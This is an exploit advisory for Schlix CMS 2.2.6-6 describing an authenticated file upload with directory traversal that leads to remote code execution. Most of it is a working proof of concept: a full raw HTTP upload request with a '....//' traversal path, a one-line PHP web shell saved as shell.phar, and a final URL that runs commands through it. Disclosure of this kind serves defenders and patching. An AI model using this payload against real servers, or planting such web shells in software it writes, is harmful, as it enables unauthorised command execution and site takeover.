Schlix CMS 2.2.6-6 - Arbitary File Upload (Authenticated)

# Exploit Title: Schlix CMS 2.2.6-6 - Arbitary File Upload And Directory Traversal Leads To RCE (Authenticated)
# Date: 21.05.2021
# Exploit Author: Emir Polat
# Vendor Homepage: https://www.schlix.com/
# Software Link: https://www.schlix.com/html/schlix-cms-downloads.html
# Version: 2.2.6-6
# Tested On: Ubuntu 20.04 (Firefox)

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Summary: An authorized user can upload a file with a .phar extension
to a path of his choice and control the content as he wishes. This causes RCE vulnerability.

For full technical details and source code analysis:
https://anatolias.medium.com/schlix-cms-v2-2-6-6-c17c5b2f29e.

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PoC:

1-) Login to admin panel with true credentials and go to "Tools ->
Mediamanager" menu from left side.

2-)  Click the "Upload File" and upload a file and catch the request with Burp.

3-) Change the "uploadstartpath", "filename" and file content as follows.

# Request

POST /schlix/admin/app/core.mediamanager?&ajax=1&action=upload HTTP/1.1
Host: vulnerable-server
Content-Length: 846
X-Schlix-Ajax: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarybllOFLruz1WAs7K2
Accept: */*
Origin: http:// <http://10.211.55.4/>vulnerable-server
Referer: http://vulnerable-server/schlix/admin/app/core.mediamanager
<http://10.211.55.4/schlix/admin/app/core.mediamanager>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: core-mediamanager_currentCategory=%2Fmedia%2Fpdf;
schlix-your-cookie;__atuvc=5%7C20;
schlix_frontendedit_control_showblock=-2;
schlix_frontendedit_control_showhide=-2;
schlix_frontendedit_control_showdoc=-2
Connection: close

------WebKitFormBoundarybllOFLruz1WAs7K2
Content-Disposition: form-data; name="_csrftoken"

{your_csrf_token}
------WebKitFormBoundarybllOFLruz1WAs7K2
Content-Disposition: form-data; name="uploadstartpath"

/media/docs/....//....//....//....//system/images/avatars/large/
------WebKitFormBoundarybllOFLruz1WAs7K2
Content-Disposition: form-data; name="filedata[]"; filename="shell.phar"

<?PHP system($_GET['rce']);?>

------WebKitFormBoundarybllOFLruz1WAs7K2
Content-Disposition: form-data; name="MAX_FILE_SIZE"

2097152
------WebKitFormBoundarybllOFLruz1WAs7K2
Content-Disposition: form-data; name="filedata__total_file_size"

0
------WebKitFormBoundarybllOFLruz1WAs7K2
Content-Disposition: form-data; name="filedata__max_file_count"

20
------WebKitFormBoundarybllOFLruz1WAs7K2--


4-) Go to "vulnerable-server/schlix/system/images/avatars/large/shell.phar?rce=ls".